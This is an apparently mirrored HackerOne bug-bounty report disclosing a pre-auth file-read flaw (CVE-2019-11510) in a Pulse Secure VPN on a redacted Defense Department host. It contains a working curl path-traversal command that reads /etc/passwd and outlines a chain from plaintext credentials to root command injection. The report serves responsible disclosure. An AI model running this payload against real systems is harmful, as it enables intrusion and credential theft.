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HistorySep 14, 2019 - 10:51 p.m.

U.S. Dept Of Defense: Arbitrary File Reading leads to RCE in the Pulse Secure SSL VPN on the https://β–ˆβ–ˆβ–ˆβ–ˆ

2019-09-1422:51:23
sp1d3rs
hackerone.com
355

10 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.973 High

EPSS

Percentile

99.8%

##Description
Hello. Some time ago, researcher Orange Tsai from DEVCORE team had a talk on Defcon/BlackHat regarding Pulse Secure SSL VPN vulnerabilities fixed on 2019/4/25:
CVE-2019-11510 - Pre-auth Arbitrary File ReadingCVE-2019-11542 - Post-auth Stack Buffer OverflowCVE-2019-11539 - Post-auth Command InjectionCVE-2019-11538 - Post-auth Arbitrary File ReadingCVE-2019-11508 - Post-auth Arbitrary File Writing
CVE-2019-11540 - Post-auth Session Hijacking

Link to the slides: https://i.blackhat.com/USA-19/Wednesday/us-19-Tsai-Infiltrating-Corporate-Intranet-Like-NSA.pdf

I discovered that https://β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ instance is vulnerable to described vulnerabilities.

##POC

Reading /etc/passwd via CVE-2019-11510:

curl -i -k --path-as-is https://β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/
β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ
β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ
β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ
β–ˆβ–ˆβ–ˆβ–ˆ
β–ˆβ–ˆβ–ˆβ–ˆβ–ˆ
β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ
β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ
β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ
β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ

The RCE can be achieved with this chain:

  1. Pulse Secure stores credentials in the cleartext.
  2. Attacker reads credentials and authorizes on VPN
  3. Attacker exploits CVE-2019-11539 - Post-auth Command Injection achieving RCE as root.

##Suggested fix
Update the Pulse Secure SSL VPN software.

Impact

Remote code execution as root (by reading plaintext credentials and then exploiting CVE-2019-11539 - Post-auth Command Injection) and accessing intranet behind VPN.
You can see here example report to Twitter by Orange Tsai: https://hackerone.com/reports/591295

10 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.973 High

EPSS

Percentile

99.8%